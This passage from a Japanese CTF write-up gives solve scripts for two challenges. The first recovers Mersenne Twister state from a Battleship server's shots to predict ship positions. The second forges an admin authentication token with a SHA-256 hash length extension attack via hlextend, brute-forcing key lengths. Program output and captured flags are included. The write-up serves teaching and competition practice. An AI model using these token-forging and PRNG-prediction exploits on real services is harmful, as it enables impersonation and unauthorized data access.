s.connect(('challenge.ctf.uscybergames.com', 53249))

for _ in range(11):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ships = [[0, i, 'V'] for i in range(5)]
ships = json.dumps(ships)
print(ships)
s.sendall(ships.encode() + b'\n')

N = 624
state = []
for turn in range(0, MAX_TURNS):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    pos = '0,' + str(turn)
    print(pos)
    s.sendall(pos.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    cr = int(data.split(' ')[3].split(',')[0])
    cc = int(data.split(' ')[3].split(',')[1])
    state.append(untemper(cr))
    state.append(untemper(cc))

state.append(N)
random.setstate([3, tuple(state), None])

data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data)
s.sendall(b'\n')

for _ in range(5):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ships = [[0, i, 'V'] for i in range(5)]
ships = json.dumps(ships)
print(ships)
s.sendall(ships.encode() + b'\n')

board = set()
for size in SHIP_SIZES:
    placed = False
    r = random.getrandbits(32)
    c = random.getrandbits(32)
    d = 'H' if random.random() < 0.5 else 'V'
    placed = place_ship(board, r, c, size, d)

pos_list = list(board)

for i in range(len(pos_list)):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    sr = pos_list[i][0]
    sc = pos_list[i][1]
    pos = ','.join([str(sr), str(sc)])
    print(pos)
    s.sendall(pos.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

random() -> x in the interval [0, 1).
== BATTLESHIP CTF ==
Board size: 4,294,967,296 x 4,294,967,296
Sink all computer ships in under 312 moves.
Good luck.

Starting new game.
Enter your ship placements as JSON list (e.g. [[100,200,"V"], [300,400,"H"], ...])
You must sink all computer ships in under 312 moves.

Ship placements:
[[0, 0, "V"], [0, 1, "V"], [0, 2, "V"], [0, 3, "V"], [0, 4, "V"]]
Turn 1 - Enter your shot as row,col (e.g. 12345,67890):
0,0
MISS
Computer fires at 2874753515,2322453092 - MISS
Turn 2 - Enter your shot as row,col (e.g. 12345,67890):
0,1
MISS
Computer fires at 2016175057,1629538197 - MISS
Turn 3 - Enter your shot as row,col (e.g. 12345,67890):
0,2
MISS
Computer fires at 2160765611,140375341 - MISS
        :
        :
Turn 310 - Enter your shot as row,col (e.g. 12345,67890):
0,309
MISS
Computer fires at 922979181,824260147 - MISS
Turn 311 - Enter your shot as row,col (e.g. 12345,67890):
0,310
MISS
Computer fires at 371793306,3443879519 - MISS
Turn 312 - Enter your shot as row,col (e.g. 12345,67890):
0,311
MISS
Computer fires at 2324057068,1144459211 - MISS
You ran out of moves. Game over.
Press enter to try again or type exit to quit
> 
Starting new game.
Enter your ship placements as JSON list (e.g. [[100,200,"V"], [300,400,"H"], ...])
You must sink all computer ships in under 312 moves.

Ship placements:
[[0, 0, "V"], [0, 1, "V"], [0, 2, "V"], [0, 3, "V"], [0, 4, "V"]]
Turn 1 - Enter your shot as row,col (e.g. 12345,67890):
2827689994,4220050530
HIT
Computer fires at 3606652714,232259916 - MISS
Turn 2 - Enter your shot as row,col (e.g. 12345,67890):
3322812886,1778268589
HIT
Computer fires at 1935668588,2956352096 - MISS
Turn 3 - Enter your shot as row,col (e.g. 12345,67890):
2552307894,1743031184
HIT
Computer fires at 1951871422,3643881551 - MISS
Turn 4 - Enter your shot as row,col (e.g. 12345,67890):
2827689995,4220050530
HIT
Computer fires at 3259927209,1270739394 - MISS
Turn 5 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826956
HIT
Computer fires at 657520169,10082328 - MISS
Turn 6 - Enter your shot as row,col (e.g. 12345,67890):
2552307895,1743031184
HIT
Computer fires at 1820767237,2940877840 - MISS
Turn 7 - Enter your shot as row,col (e.g. 12345,67890):
3322812886,1778268590
HIT
Computer fires at 3529083431,2775003527 - MISS
Turn 8 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826959
HIT
Computer fires at 802487213,3545172407 - MISS
Turn 9 - Enter your shot as row,col (e.g. 12345,67890):
3584311901,834189282
HIT
Computer fires at 3474993368,1225678627 - MISS
Turn 10 - Enter your shot as row,col (e.g. 12345,67890):
2552307897,1743031184
HIT
Computer fires at 2256289686,2269872617 - MISS
Turn 11 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826955
HIT
Computer fires at 829290023,2238233385 - MISS
Turn 12 - Enter your shot as row,col (e.g. 12345,67890):
3584311902,834189282
HIT
Computer fires at 2550524304,3826882935 - MISS
Turn 13 - Enter your shot as row,col (e.g. 12345,67890):
3584311903,834189282
HIT
Computer fires at 2818560414,227970047 - MISS
Turn 14 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826958
HIT
Computer fires at 214957877,3515563723 - MISS
Turn 15 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826957
HIT
Computer fires at 1346566607,3517454992 - MISS
Turn 16 - Enter your shot as row,col (e.g. 12345,67890):
2827689996,4220050530
HIT
Computer fires at 4118963238,2657334279 - MISS
Turn 17 - Enter your shot as row,col (e.g. 12345,67890):
2552307896,1743031184
HIT
You sank all the computer's ships! You win.
Flag: SVUSCG{00f_y0u_5unk_m4h_b4ttl3sh1p}
SVUSCG{00f_y0u_5unk_m4h_b4ttl3sh1p}

Token EncryptSHAn (Crypto)

サーバの処理概要は以下の通り。

■/registerへのPOST
・username = credentials.username
・sanitized_username = sanitize_username(username)
 ・英小文字のみにフィルタリング
・password = credentials.password
・user_dir = USERS_BASE_DIR / sanitized_username
・user_dirが存在する場合、エラー
・password_file_path = user_dir / "pass.txt"
・password_file_pathにpasswordを書き込み
・{"message": f"User '{sanitized_username.decode()}' registered successfully."}を返却

■/loginへのPOST
・username = credentials.username
・sanitized_username = sanitize_username(username)
 ・英小文字のみにフィルタリング
・password = credentials.password
・user_dir = USERS_BASE_DIR / sanitized_username
・password_file_path = user_dir / "pass.txt"
・stored_password: password_file_pathの内容
・stored_passwordとpasswordが一致しない場合、エラー
・nonce_bytes: ランダム8バイト文字列の16進数表記文字列
・ts_bytes: UNIXTIMEの整数値の文字列
・payload_part = b"nonce=" + nonce_bytes + b"&ts=" + ts_bytes + b"&user=" + sanitized_username
・token_data_part = b"len=" + str(len(payload_part)).encode('utf-8') + b"&" + payload_part
・calculated_hmac_hex_str = hmac(token_data_part).hex()
 ・key(未知固定値) + token_data_partのsha256ダイジェストの16進数表記
・token_string_with_hmac = token_data_part + calculated_hmac_hex_str.encode('utf-8')
・base64_encoded_token: token_string_with_hmacのbase64エンコード
・{"token": base64_encoded_token}を返却

■/notesへのPOST
・current_username = get_current_username()
 ・token = credentials.credentials
 ・decoded_token_bytes: tokenのbase64デコードしたもの
 ・decoded_token_str = decoded_token_bytes
 ・token_payload_str: decoded_token_strの末尾64バイトを除いた部分
 ・received_hmac_hex: decoded_token_strの末尾64バイト
 ・expected_hmac_bytes = hmac(token_payload_str)
 ・expected_hmac_hex: expected_hmac_bytesを16進数表記にしたもの
 ・received_hmac_hexとexpected_hmac_hexが一致しない場合、エラー
 ・token_data = parse_token_data(token_payload_str)
  ・token_payload_strを"&"区切りでkeyとvalueを取得し、その対応をdataオブジェクトに設定
  ・dataを返却
 ・raw_username_from_token = token_data.get(b"user")
 ・token_ts_str = token_data.get(b"ts")
 ・current_ts: 現在のUNIXTIMEの整数値
 ・current_ts - token_tsが300より大きい場合、エラー
 ・username: raw_username_from_tokenのサニタイズしたもの
 ・user_dir = USERS_BASE_DIR / username.decode()
 ・user_dirがディレクトリでない場合、エラー
 ・usernameを返却
・title = note_payload.title
・note_text = note_payload.text
・titleに英小文字以外が含まれている場合、エラー
・titleが"pass"の場合、エラー
・user_note_dir = USERS_BASE_DIR / current_username.decode()
・note_file_path = user_note_dir / (title.decode() + ".txt")
・note_file_pathにnote_textを書き込み
・NoteBase(title=title)を返却

■"/notes/{note_title}へのGET
・current_username = get_current_username()
・note_title_bytes = note_title.encode('utf-8')
・note_title_bytesに英小文字以外が含まれている場合、エラー
・note_title_bytesが"pass"の場合、エラー
・note_file_path = USERS_BASE_DIR / current_username.decode() / (note_title + ".txt")
・note_data = note_file_pathの内容
・NoteCreate(title=note_title_bytes, text=note_data)を返却

■/notesへのGET
・current_username = get_current_username()
・user_notes_dir = USERS_BASE_DIR / current_username.decode()
・notes_list = []
・user_notes_dir配下のオブジェクトitemに対して以下を実行
 ・itemがファイルで、ファイル名が".txt"で終わる場合
  ・note_title_strが"pass"以外の場合
   ・notes_listにNoteBase(title=note_title_str.encode('utf-8'))を追加
・notes_listを返却

問題文から"admin"のnoteを読めればフラグが取得できるようだ。
まず適当なユーザ、パスワードで登録する。例えば、hoge / fugaで登録するとする。この場合、USERS_BASE_DIR/hoge/pass.txtに"fuga"が書き込まれる。
次にこのユーザでログインすると、それぞれの変数は以下の値を持つ。

・payload_part = "nonce=<16桁の16進数文字列>&ts=<UNIXTIME整数値>&user=hoge"
・token_data_part = "len=46&nonce=<16桁の16進数文字列>&ts=<UNIXTIME整数値>&user=hoge"
・calculated_hmac_hex_str: key(未知固定値) + token_data_partのsha256ダイジェストの16進数表記
・token_string_with_hmac: token_data_part + calculated_hmac_hex_str

Hash Length Extension Attackで攻撃する。https://github.com/stephenbradshaw/hlextendを使う。

#!/usr/bin/env python3
import requests
import json
import base64
import hashlib
import hlextend

HMAC_HEX_LENGTH = hashlib.sha256().digest_size * 2

base_url ='https://kheevwzb.web.ctf.uscybergames.com'

s = requests.Session()

url = base_url + '/register'
payload = '{"username": "hoge", "password": "fuga"}'
res = s.post(url, data=payload)
print('[+] message:', res.text)

url = base_url + '/login'
res = s.post(url, data=payload)
print('[+] base64 token:', res.text)
base64_encoded_token = json.loads(res.text)['token']
token_string_with_hmac = base64.b64decode(base64_encoded_token).decode()
print('[+] token:', token_string_with_hmac)
token_data_part = token_string_with_hmac[:-HMAC_HEX_LENGTH]
calculated_hmac_hex_str = token_string_with_hmac[-HMAC_HEX_LENGTH:]

known_hash = calculated_hmac_hex_str
known_str = token_data_part
add_data = '&user=admin'

for key_len in range(1, 65):
    hash = hlextend.new('sha256')
    d = hash.extend(add_data.encode(), known_str.encode(), key_len, known_hash)
    h = hash.hexdigest()
    token = base64.b64encode(d + h.encode()).decode()

    url = base_url + '/notes'
    auth = 'Bearer ' + token
    headers = {'Authorization': auth}
    res = s.get(url, headers=headers)
    result = json.loads(res.text)
    print('[+] key length:', key_len, '-->', result)
    if 'detail' in result and \
        result['detail'] == 'Invalid token: HMAC verification failed.':
        continue
    else:
        break

for note in result:
    title = note['title']
    url = base_url + '/notes/' + title
    res = s.get(url, headers=headers)
    result = json.loads(res.text)
    flag = result['text']
    print('[*] flag:', flag)

実行結果は以下の通り。

[+] message: {"detail":"User 'hoge' already exists."}
[+] base64 token: {"token":"bGVuPTQ2Jm5vbmNlPTY5NjZkYzc2YTQxYWM2MGQmdHM9MTc0OTcxMDI2NSZ1c2VyPWhvZ2VlZWZhNWY0OGU4OGY5OTk4ZGU0ODY5YTUxZWRkODZhNjIzMTMzYzI3OGJlNjE5NGQ5YmQwOTRmZTgxYTYzOGJk"}
[+] token: len=46&nonce=6966dc76a41ac60d&ts=1749710265&user=hogeeefa5f48e88f9998de4869a51edd86a623133c278be6194d9bd094fe81a638bd
[+] key length: 1 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 2 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 3 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 4 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 5 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 6 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 7 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 8 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 9 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 10 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 11 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 12 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 13 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 14 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 15 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 16 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 17 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 18 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 19 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 20 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 21 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 22 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 23 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 24 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 25 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 26 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 27 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 28 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 29 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 30 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 31 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 32 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 33 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 34 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 35 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 36 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 37 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 38 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 39 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 40 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 41 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 42 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 43 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 44 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 45 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 46 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 47 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 48 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 49 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 50 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 51 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 52 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 53 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 54 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 55 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 56 --> [{'title': 'flag'}]
[*] flag: SVUSCG{db2bd4dcfaf4f7d28ee4771b5e32e809}
SVUSCG{db2bd4dcfaf4f7d28ee4771b5e32e809}